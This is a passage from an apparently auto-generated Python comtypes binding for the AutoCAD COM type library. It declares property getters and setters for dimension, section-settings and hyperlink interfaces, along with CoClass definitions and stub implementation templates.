COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(1574), 'propget'], HRESULT, 'SubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1574), 'propput'], HRESULT, 'SubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1575), 'propget'], HRESULT, 'SubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1575), 'propput'], HRESULT, 'SubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(1576), 'propget'], HRESULT, 'AltSubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1576), 'propput'], HRESULT, 'AltSubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1577), 'propget'], HRESULT, 'AltSubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1577), 'propput'], HRESULT, 'AltSubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n]\n################################################################\n## code template for IAcadDimOrdinate implementation\n##class IAcadDimOrdinate_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## SubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## SubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## AltSubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## AltSubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadSweptSurface(CoClass):\n _reg_clsid_ = GUID('{190FB7CC-91C6-4948-B85C-C94688D75324}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSweptSurface._com_interfaces_ = [IAcadSweptSurface]\nAcadSweptSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadSortentsTable(CoClass):\n _reg_clsid_ = GUID('{2A16F892-4AD1-4F21-9917-624A8D06A651}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSortentsTable._com_interfaces_ = [IAcadSortentsTable]\nAcadSortentsTable._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadSectionSettings._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'CurrentSectionType',\n ( ['out', 'retval'], POINTER(AcSectionType), 'pVal' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'CurrentSectionType',\n ( ['in'], AcSectionType, 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'GetSectionTypeSettings',\n ( ['in'], AcSectionType, 'secType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadSectionTypeSettings)), 'pUnk' )),\n]\n################################################################\n## code template for IAcadSectionSettings implementation\n##class IAcadSectionSettings_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## CurrentSectionType = property(_get, _set, doc = _set.__doc__)\n##\n## def GetSectionTypeSettings(self, secType):\n## '-no docstring-'\n## #return pUnk\n##\n\nclass AcadLineType(CoClass):\n _reg_clsid_ = GUID('{D0282B8F-2FF8-41E9-B919-E493D960DE4C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadLineType._com_interfaces_ = [IAcadLineType]\nAcadLineType._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadWipeout(CoClass):\n _reg_clsid_ = GUID('{44E1E732-8052-4880-9A59-F7EEED246D12}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadWipeout._com_interfaces_ = [IAcadWipeout]\n\nclass AcadViewport(CoClass):\n _reg_clsid_ = GUID('{4360A8E5-FE2C-470C-86AC-69DF9E78D9CD}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadViewport._com_interfaces_ = [IAcadViewport]\nAcadViewport._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadHyperlinks._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadHyperlink)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'ApplicationObject' )),\n COMMETHOD([dispid(3)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['in', 'optional'], VARIANT, 'Description' ),\n ( ['in', 'optional'], VARIANT, 'NamedLocation' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadHyperlink)), 'pHyperlink' )),\n]\n################################################################\n## code template for IAcadHyperlinks implementation\n##class IAcadHyperlinks_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return ApplicationObject\n##\n## def Add(self, Name, Description, NamedLocation):\n## '-no docstring-'\n## #return pHyperlink\n##\n\nclass AcadMaterial(CoClass):\n _reg_clsid_ = GUID('{E8088DA8-B0EF-437E-BFCF-E38A73E3FC04}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadMaterial._com_interfaces_ = [IAcadMaterial]\nAcadMaterial._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadRegisteredApplication(CoClass):\n _reg_clsid_ = GUID('{B911B0D4-5599-4498-A6C3-654A361D984E}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadRegisteredApplication._com_interfaces_ = [IAcadRegisteredApplication]\nAcadRegisteredApplication._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcDimArcLengthSymbol'\nacSymInFront = 0\nacSymAbove = 1\nacSymNone = 2\nAcDimArcLengthSymbol = c_int # enum\nIAcadDimArcLength._methods_ = [\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'DimensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'DimensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ExtensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ExtensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'HorizontalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimHorizontalJustification), 'Type' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'HorizontalTextPosition',\n ( ['in'], AcDimHorizontalJustification, 'Type' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'ExtLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'ExtLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'ExtLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'ExtLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'DimLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'DimLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 